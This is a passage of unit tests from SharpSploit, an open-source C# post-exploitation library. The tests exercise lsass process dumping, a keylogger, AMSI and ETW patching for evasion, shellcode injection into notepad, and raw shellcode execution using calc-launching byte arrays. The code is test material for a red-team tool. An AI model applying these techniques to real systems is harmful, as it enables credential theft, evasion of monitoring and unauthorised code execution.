Net.GetNetLocalGroups("cobbr-win81"); 67 | List groups3 = Net.GetNetLocalGroups("win16"); 68 | Assert.AreEqual(groups.Count, groups1.Count + groups2.Count + groups3.Count); 69 | List nullGroups1 = Net.GetNetLocalGroups(new List { null, null, null }); 70 | Assert.AreEqual(0, nullGroups1.Count); 71 | List nullGroups2 = Net.GetNetLocalGroups(new List { null, null, null }); 72 | Assert.AreEqual(0, nullGroups2.Count); 73 | } 74 | 75 | [TestMethod] 76 | public void TestGetNetLocalGroupMembers() 77 | { 78 | List members = Net.GetNetLocalGroupMembers(new List { "COBBR-WIN10-2", "cobbr-win81", "win16" }); 79 | List members1 = Net.GetNetLocalGroupMembers("COBBR-WIN10-2"); 80 | List members2 = Net.GetNetLocalGroupMembers("cobbr-win81"); 81 | List members3 = Net.GetNetLocalGroupMembers("win16"); 82 | Assert.AreEqual(members.Count, members1.Count + members2.Count + members3.Count); 83 | List nullMembers1 = Net.GetNetLocalGroupMembers(new List { null, null, null }); 84 | Assert.AreEqual(0, nullMembers1.Count); 85 | List nullMembers2 = Net.GetNetLocalGroupMembers(new List { null, null, null }); 86 | Assert.AreEqual(0, nullMembers2.Count); 87 | List DomainComputerAdministrators = Net.GetNetLocalGroupMembers(new Domain.DomainSearcher().GetDomainComputers(new List { "COBBR-WIN10-2", "cobbr-win81", "win16" })); 88 | Assert.IsTrue(DomainComputerAdministrators.Count >= members.Count); 89 | } 90 | 91 | [TestMethod] 92 | public void TestGetNetLoggedOnUsers() 93 | { 94 | List users = Net.GetNetLoggedOnUsers(new List { "COBBR-WIN10-2", "cobbr-win81", "win16" }); 95 | List users1 = Net.GetNetLoggedOnUsers("COBBR-WIN10-2"); 96 | List users2 = Net.GetNetLoggedOnUsers("cobbr-win81"); 97 | List users3 = Net.GetNetLoggedOnUsers("win16"); 98 | Assert.AreEqual(users.Count, users1.Count + users2.Count + users3.Count); 99 | List nullUsers1 = Net.GetNetLoggedOnUsers(new List { null, null, null }); 100 | Assert.AreEqual(0, nullUsers1.Count); 101 | List nullUsers2 = Net.GetNetLoggedOnUsers(new List { null, null, null }); 102 | Assert.AreEqual(0, nullUsers2.Count); 103 | List LoggedOnUsers = Net.GetNetLoggedOnUsers(new Domain.DomainSearcher().GetDomainComputers(new List { "COBBR-WIN10-2", "cobbr-win81", "win16" })); 104 | Assert.AreEqual(LoggedOnUsers.Count, users.Count); 105 | } 106 | 107 | [TestMethod] 108 | public void TestGetNetSessions() 109 | { 110 | List sessions = Net.GetNetSessions(new List { "COBBR-WIN10-2", "cobbr-win81", "win16" }); 111 | List sessions1 = Net.GetNetSessions("COBBR-WIN10-2"); 112 | List sessions2 = Net.GetNetSessions("cobbr-win81"); 113 | List sessions3 = Net.GetNetSessions("win16"); 114 | Assert.AreEqual(sessions.Count, sessions1.Count + sessions2.Count + sessions3.Count); 115 | List nullSessions1 = Net.GetNetSessions(new List { null, null, null }); 116 | Assert.AreEqual(0, nullSessions1.Count); 117 | List nullSessions2 = Net.GetNetSessions(new List { null, null, null }); 118 | Assert.AreEqual(0, nullSessions2.Count); 119 | List DomainSessions = Net.GetNetSessions(new Domain.DomainSearcher().GetDomainComputers(new List { "COBBR-WIN10-2", "cobbr-win81", "win16" })); 120 | Assert.AreEqual(DomainSessions.Count, sessions.Count); 121 | } 122 | 123 | [TestMethod] 124 | public void TestGetNetShares() 125 | { 126 | List shares = Net.GetNetShares("127.0.0.1"); 127 | Assert.IsTrue(shares.Count >= 2); 128 | } 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Enumeration/HostTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.IO; 7 | using System.Diagnostics; 8 | using Microsoft.VisualStudio.TestTools.UnitTesting; 9 | 10 | using SharpSploit.Enumeration; 11 | using SharpSploit.Generic; 12 | 13 | namespace SharpSploit.Tests.Enumeration 14 | { 15 | [TestClass] 16 | public class HostTests 17 | { 18 | [TestMethod] 19 | public void TestProcessList() 20 | { 21 | SharpSploitResultList results = Host.GetProcessList(); 22 | Assert.IsNotNull(results); 23 | Assert.IsTrue(results.Count > 10); 24 | foreach (Host.ProcessResult result in results) 25 | { 26 | Assert.IsNotNull(result); 27 | Assert.AreNotEqual(result.Name, ""); 28 | Assert.IsInstanceOfType(result.Pid, typeof(int)); 29 | Assert.IsInstanceOfType(result.Ppid, typeof(int)); 30 | } 31 | } 32 | 33 | [TestMethod] 34 | public void TestProcessDump() 35 | { 36 | // Test currently failing since ProcessDump must be run as an Administrator 37 | File.Delete("output.dmp"); 38 | Assert.IsFalse(File.Exists("output.dmp")); 39 | Host.CreateProcessDump("lsass", "", "output.dmp"); 40 | Assert.IsTrue(File.Exists("output.dmp")); 41 | File.Delete("output.dmp"); 42 | 43 | Process process = Process.GetProcessesByName("lsass")[0]; 44 | 45 | Assert.IsFalse(File.Exists("output.dmp")); 46 | Host.CreateProcessDump(process.Id, "", "output.dmp"); 47 | Assert.IsTrue(File.Exists("output.dmp")); 48 | File.Delete("output.dmp"); 49 | 50 | Assert.IsFalse(File.Exists("output.dmp")); 51 | Host.CreateProcessDump(process, "", "output.dmp"); 52 | Assert.IsTrue(File.Exists("output.dmp")); 53 | File.Delete("output.dmp"); 54 | } 55 | 56 | [TestMethod] 57 | public void TestGetHostname() 58 | { 59 | String output = Host.GetHostname(); 60 | Assert.IsNotNull(output); 61 | Assert.AreEqual(output, Environment.MachineName); 62 | } 63 | 64 | [TestMethod] 65 | public void TestGetUsername() 66 | { 67 | String output = Host.GetUsername(); 68 | Assert.IsNotNull(output); 69 | Assert.AreEqual(output, Environment.UserDomainName + "\\" + Environment.UserName); 70 | } 71 | 72 | [TestMethod] 73 | public void TestGetCurrentDirectory() 74 | { 75 | String output = Host.GetCurrentDirectory(); 76 | Assert.IsNotNull(output); 77 | Assert.AreEqual(output, System.IO.Directory.GetCurrentDirectory()); 78 | } 79 | 80 | [TestMethod] 81 | public void TestGetDirectoryListing() 82 | { 83 | SharpSploitResultList results = Host.GetDirectoryListing(); 84 | Assert.IsNotNull(results); 85 | foreach (Host.FileSystemEntryResult result in results) 86 | { 87 | Assert.IsNotNull(result); 88 | Assert.AreNotEqual(result.Name, ""); 89 | } 90 | } 91 | 92 | [TestMethod] 93 | public void TestChangeCurrentDirectory() 94 | { 95 | SharpSploitResultList results1 = Host.GetDirectoryListing(); 96 | string dir1 = Host.GetCurrentDirectory(); 97 | Host.ChangeCurrentDirectory(".."); 98 | string dir2 = Host.GetCurrentDirectory(); 99 | Assert.AreNotEqual(dir1, dir2); 100 | SharpSploitResultList results2 = Host.GetDirectoryListing(); 101 | Assert.AreNotEqual(results1, results2); 102 | } 103 | 104 | [TestMethod] 105 | public void TestGetDrives() 106 | { 107 | SharpSploitResultList results = Host.GetDrives(); 108 | Assert.IsNotNull(results); 109 | Assert.IsTrue(results.Count > 0); 110 | foreach (Host.DriveInfoResult result in results) 111 | { 112 | Assert.IsNotNull(result); 113 | Assert.AreNotEqual(result.Name, ""); 114 | } 115 | } 116 | 117 | [TestMethod] 118 | public void TestCreateProcessSnapshotDump() 119 | { 120 | Process[] currentProcesses = Process.GetProcessesByName("Calculator"); 121 | Assert.AreEqual(0, currentProcesses.Length); 122 | 123 | string output = SharpSploit.Execution.Shell.ShellExecute("calc.exe"); 124 | Assert.AreNotEqual(null, output); 125 | Assert.AreEqual("", output); 126 | System.Threading.Thread.Sleep(1000); 127 | 128 | Process[] afterProcesses = Process.GetProcessesByName("Calculator"); 129 | Assert.AreEqual(1, afterProcesses.Length); 130 | 131 | Assert.IsTrue(Host.CreateProcessSnapshotDump(afterProcesses[0].Id, @"C:\Users\Public", "dump")); 132 | 133 | Assert.IsTrue(File.Exists(@"C:\Users\Public\dump")); 134 | File.Delete(@"C:\Users\Public\dump"); 135 | Assert.IsFalse(File.Exists(@"C:\Users\Public\dump")); 136 | } 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Enumeration/KeyloggerTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Scottie Austin (@checkymander) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Linq; 7 | using System.Timers; 8 | using Threads = System.Threading; 9 | using Forms = System.Windows.Forms; 10 | using System.Collections.Generic; 11 | using Microsoft.VisualStudio.TestTools.UnitTesting; 12 | 13 | using SharpSploit.Generic; 14 | using SharpSploit.Enumeration; 15 | 16 | namespace SharpSploit.Tests.Enumeration 17 | { 18 | [TestClass] 19 | public class KeyloggerTests 20 | { 21 | [TestMethod] 22 | public void TestKeylogger() 23 | { 24 | string results = ""; 25 | Threads.Thread t = new Threads.Thread(() => 26 | { 27 | results = Keylogger.StartKeylogger(3); 28 | }); 29 | 30 | t.Start(); 31 | Forms.SendKeys.SendWait("test123"); 32 | t.Join(3000); 33 | 34 | Assert.IsTrue(results.Length > 0); 35 | Assert.IsTrue(results.Contains("test123")); 36 | } 37 | } 38 | } -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Enumeration/RegistryTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Microsoft.VisualStudio.TestTools.UnitTesting; 6 | 7 | using SharpSploit.Enumeration; 8 | 9 | namespace SharpSploit.Tests.Enumeration 10 | { 11 | [TestClass] 12 | public class RegistryTests 13 | { 14 | [TestMethod] 15 | public void TestReadRegistry() 16 | { 17 | string path = Registry.GetRegistryKey("HKEY_CURRENT_USER\\Environment\\Path"); 18 | Assert.IsTrue(path.Length > 2); 19 | string path2 = Registry.GetRegistryKey("HKCU\\Environment\\Path"); 20 | Assert.IsTrue(path2.Length > 2); 21 | Assert.AreEqual(path, path2); 22 | } 23 | 24 | [TestMethod] 25 | public void TestWriteRegistry() 26 | { 27 | string path = Registry.GetRegistryKey("HKEY_CURRENT_USER\\Environment\\Path"); 28 | Assert.IsTrue(path.Length > 2); 29 | bool success = Registry.SetRegistryKey("HKEY_CURRENT_USER\\Environment\\Path", "testing"); 30 | Assert.IsTrue(success); 31 | string path2 = Registry.GetRegistryKey("HKEY_CURRENT_USER\\Environment\\Path"); 32 | Assert.AreEqual("testing", path2); 33 | success = Registry.SetRegistryKey("HKEY_CURRENT_USER\\Environment\\Path", path); 34 | Assert.IsTrue(success); 35 | string path3 = Registry.GetRegistryKey("HKEY_CURRENT_USER\\Environment\\Path"); 36 | Assert.AreEqual(path, path3); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Evasion/AmsiTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Microsoft.VisualStudio.TestTools.UnitTesting; 6 | 7 | using SharpSploit.Evasion; 8 | 9 | namespace SharpSploit.Tests.Evasion 10 | { 11 | [TestClass] 12 | public class AmsiTests 13 | { 14 | [TestMethod] 15 | public void TestPatchAmsiScanBuffer() 16 | { 17 | Assert.IsTrue(Amsi.PatchAmsiScanBuffer()); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Evasion/ETWTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Microsoft.VisualStudio.TestTools.UnitTesting; 6 | 7 | using SharpSploit.Evasion; 8 | 9 | namespace SharpSploit.Tests.Evasion 10 | { 11 | [TestClass] 12 | public class ETWTests 13 | { 14 | [TestMethod] 15 | public void TestPatchETWEventWrite() 16 | { 17 | Assert.IsTrue(ETW.PatchETWEventWrite()); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Execution/Injection/InjectionTests.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Threading; 4 | using Microsoft.VisualStudio.TestTools.UnitTesting; 5 | 6 | using SharpSploit.Enumeration; 7 | using SharpSploit.Execution; 8 | using SharpSploit.Execution.Injection; 9 | 10 | namespace SharpSploit.Tests.Execution.Injection 11 | { 12 | [TestClass] 13 | public class InjectionTests 14 | { 15 | private readonly byte[] Calc32bitShellCode = new byte[] 16 | { 17 | 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, 18 | 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, 19 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, 20 | 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, 21 | 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, 22 | 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, 23 | 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 24 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, 25 | 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, 26 | 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, 27 | 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, 28 | 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, 29 | 0x61,0x6c,0x63,0x00 30 | }; 31 | private readonly byte[] Calc64bitShellCode = new byte[] 32 | { 33 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 34 | 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 35 | 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 36 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 37 | 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 38 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 39 | 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 40 | 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 41 | 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 42 | 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 43 | 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 44 | 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 45 | 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 46 | 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 47 | 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 48 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 49 | 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00 50 | }; 51 | 52 | [TestMethod] 53 | public void TestRemoteThreadCreateSectionMap() 54 | { 55 | // These options could also be passed in as optional parameters in the constructors 56 | RemoteThreadCreate injectionTechnique = new RemoteThreadCreate 57 | { 58 | api = RemoteThreadCreate.APIS.CreateRemoteThread, 59 | suspended = false 60 | }; 61 | 62 | SectionMapAllocationTechnique secMapAlloc = new SectionMapAllocationTechnique 63 | { 64 | localSectionPermissions = Win32.WinNT.PAGE_READWRITE, 65 | remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE, 66 | sectionAttributes = Win32.WinNT.SEC_COMMIT 67 | }; 68 | 69 | Process notepadProcess = Process.Start("notepad.exe"); 70 | 71 | // Check the architecture of the process 72 | PICPayload payload = Host.IsWow64(notepadProcess) ? new PICPayload(Calc32bitShellCode) : new PICPayload(Calc64bitShellCode); 73 | 74 | secMapAlloc.Allocate(payload, notepadProcess); 75 | 76 | // For every payload type, both the injectionTechnique and the allocationTechnique would have 77 | // overloads of Inject() and Allocate() that handle logic relevant to the specific payload type 78 | 79 | // Perform injection using the magic of OOP polymorphism and function overloads! 80 | Assert.IsTrue(Injector.Inject(payload, secMapAlloc, injectionTechnique, notepadProcess)); 81 | 82 | Thread.Sleep(2000); 83 | notepadProcess.Kill(); 84 | // If this code were for Process Hollowing, you could use the Allocate function in your Allocation Technique on your new, suspended process. Then overwrite the PEB appropriately. 85 | // Point being, Techniques like that that rely on complex logic beyond simple primitives would be implemented in separate classes, leveraging the Injection API as useful. 86 | } 87 | 88 | [TestMethod] 89 | public void TestRemoteThreadCreateVirtualAlloc() 90 | { 91 | // These options could also be passed in as optional parameters in the constructors 92 | 93 | RemoteThreadCreate injectionTechnique = new RemoteThreadCreate 94 | { 95 | api = RemoteThreadCreate.APIS.CreateRemoteThread, 96 | suspended = false 97 | }; 98 | 99 | VirtualAllocAllocationTechnique virtAlloc = new VirtualAllocAllocationTechnique( 100 | Win32.Kernel32.AllocationType.Commit | Win32.Kernel32.AllocationType.Reserve, 101 | Win32.Kernel32.MemoryProtection.ExecuteReadWrite, 102 | VirtualAllocAllocationTechnique.AllocationAPI.NtAllocateVirtualMemory, 103 | VirtualAllocAllocationTechnique.WriteAPI.NtWriteVirtualMemory 104 | ); 105 | 106 | Process notepadProcess = Process.Start("notepad.exe"); 107 | 108 | // Check the architecture of the process 109 | PICPayload payload = Host.IsWow64(notepadProcess) ? new PICPayload(Calc32bitShellCode) : new PICPayload(Calc64bitShellCode); 110 | 111 | virtAlloc.Allocate(payload, notepadProcess); 112 | 113 | // For every payload type, both the injectionTechnique and the allocationTechnique would have 114 | // overloads of Inject() and Allocate() that handle logic relevant to the specific payload type 115 | 116 | // Perform injection using the magic of OOP polymorphism and function overloads! 117 | Assert.IsTrue(Injector.Inject(payload, virtAlloc, injectionTechnique, notepadProcess)); 118 | 119 | // If this code were for Process Hollowing, you could use the Allocate function in your Allocation Technique on your new, suspended process. Then overwrite the PEB appropriately. 120 | // Point being, Techniques like that that rely on complex logic beyond simple primitives would be implemented in separate classes, leveraging the Injection API as useful. 121 | 122 | Thread.Sleep(2000); 123 | notepadProcess.Kill(); 124 | 125 | // VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 126 | VirtualAllocAllocationTechnique virtAlloc2 = new VirtualAllocAllocationTechnique( 127 | Win32.Kernel32.AllocationType.Commit | Win32.Kernel32.AllocationType.Reserve, 128 | Win32.Kernel32.MemoryProtection.ExecuteReadWrite, 129 | VirtualAllocAllocationTechnique.AllocationAPI.VirtualAllocEx, 130 | VirtualAllocAllocationTechnique.WriteAPI.WriteProcessMemory 131 | ); 132 | notepadProcess = Process.Start("notepad.exe"); 133 | // Check the architecture of the process 134 | payload = Host.IsWow64(notepadProcess) ? new PICPayload(this.Calc32bitShellCode) : new PICPayload(this.Calc64bitShellCode); 135 | virtAlloc.Allocate(payload, notepadProcess); 136 | // Perform injection using the magic of OOP polymorphism and function overloads! 137 | Assert.IsTrue(Injector.Inject(payload, virtAlloc2, injectionTechnique, notepadProcess)); 138 | 139 | Thread.Sleep(2000); 140 | notepadProcess.Kill(); 141 | } 142 | } 143 | } 144 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Execution/ManualMap/MapTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System.Threading; 6 | using Microsoft.VisualStudio.TestTools.UnitTesting; 7 | 8 | using SharpSploit.Execution.ManualMap; 9 | 10 | namespace SharpSploit.Tests.Execution 11 | { 12 | [TestClass] 13 | public class MapTests 14 | { 15 | [TestMethod] 16 | public void TestMapAndFree() 17 | { 18 | PE.PE_MANUAL_MAP mappedPE = Map.MapModuleToMemory("C:\\example.exe"); 19 | SharpSploit.Execution.DynamicInvoke.Generic.CallMappedPEModule(mappedPE.PEINFO, mappedPE.ModuleBase); 20 | Thread.Sleep(5000); 21 | Map.FreeModule(mappedPE); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Execution/ShellCodeTests.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Microsoft.VisualStudio.TestTools.UnitTesting; 3 | 4 | using SharpSploit.Execution; 5 | 6 | namespace SharpSploit.Tests.Execution 7 | { 8 | [TestClass] 9 | public class ShellCodeTests 10 | { 11 | [TestMethod] 12 | public void TestShellCode() 13 | { 14 | byte[] calc32bitShellCode = new byte[] 15 | { 16 | 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, 17 | 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, 18 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, 19 | 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, 20 | 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, 21 | 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, 22 | 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 23 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, 24 | 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, 25 | 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, 26 | 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, 27 | 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, 28 | 0x61,0x6c,0x63,0x00 29 | }; 30 | 31 | byte[] calc64bitShellCode = new byte[] 32 | { 33 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 34 | 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 35 | 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 36 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 37 | 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 38 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 39 | 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 40 | 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 41 | 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 42 | 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 43 | 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 44 | 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 45 | 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 46 | 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 47 | 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 48 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 49 | 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00 50 | }; 51 | if (IntPtr.Size == 4) 52 | { 53 | Assert.IsTrue(ShellCode.ShellCodeExecute(calc32bitShellCode)); 54 | } 55 | else if (IntPtr.Size == 8) 56 | { 57 | Assert.IsTrue(ShellCode.ShellCodeExecute(calc64bitShellCode)); 58 | } 59 | Assert.IsTrue(System.Diagnostics.Process.GetProcessesByName("Calculator").Length >= 1); 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Execution/ShellTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Diagnostics; 7 | using System.Security.Principal; 8 | using Microsoft.VisualStudio.TestTools.UnitTesting; 9 | 10 | using SharpSploit.Execution; 11 | using PInvoke = SharpSploit.Execution.PlatformInvoke; 12 | 13 | namespace SharpSploit.Tests.Execution 14 | { 15 | [TestClass] 16 | public class ShellTest 17 | { 18 | [TestMethod] 19 | public void TestPowerShellExecute() 20 | { 21 | string output = Shell.PowerShellExecute("Get-ChildItem"); 22 | Assert.AreNotEqual(null, output); 23 | Assert.IsTrue(output.Length > 10); 24 | } 25 | 26 | [TestMethod] 27 | public void TestPowerShellExecuteEmptyString() 28 | { 29 | string output = Shell.PowerShellExecute(""); 30 | Assert.AreNotEqual(null, output); 31 | Assert.AreEqual("", output); 32 | } 33 | 34 | [TestMethod] 35 | public void TestPowerShellExecuteNull() 36 | { 37 | string output = Shell.PowerShellExecute(null); 38 | Assert.AreNotEqual(null, output); 39 | Assert.AreEqual("", output); 40 | } 41 | 42 | [TestMethod] 43 | public void TestPowerShellExecuteVerbose() 44 | { 45 | string output = Shell.PowerShellExecute(@" 46 | function Test-Verbose { 47 | [CmdletBinding()] 48 | Param() 49 | Write-Verbose ""verbose"" 50 | } 51 | Test-Verbose -Verbose"); 52 | Assert.AreEqual("verbose\r\n", output); 53 | } 54 | 55 | [TestMethod] 56 | public void TestPowerShellExecuteError() 57 | { 58 | string output = Shell.PowerShellExecute("Write-Error 'error'"); 59 | Assert.AreEqual("error\r\n", output); 60 | } 61 | 62 | [TestMethod] 63 | public void TestShellCreateProcess() 64 | { 65 | string output = Shell.CreateProcess("tasklist /v"); 66 | Assert.AreNotEqual(null, output); 67 | Assert.IsTrue(output.Length > 10); 68 | Assert.IsTrue(output.Contains("svchost.exe")); 69 | } 70 | 71 | [TestMethod] 72 | public void 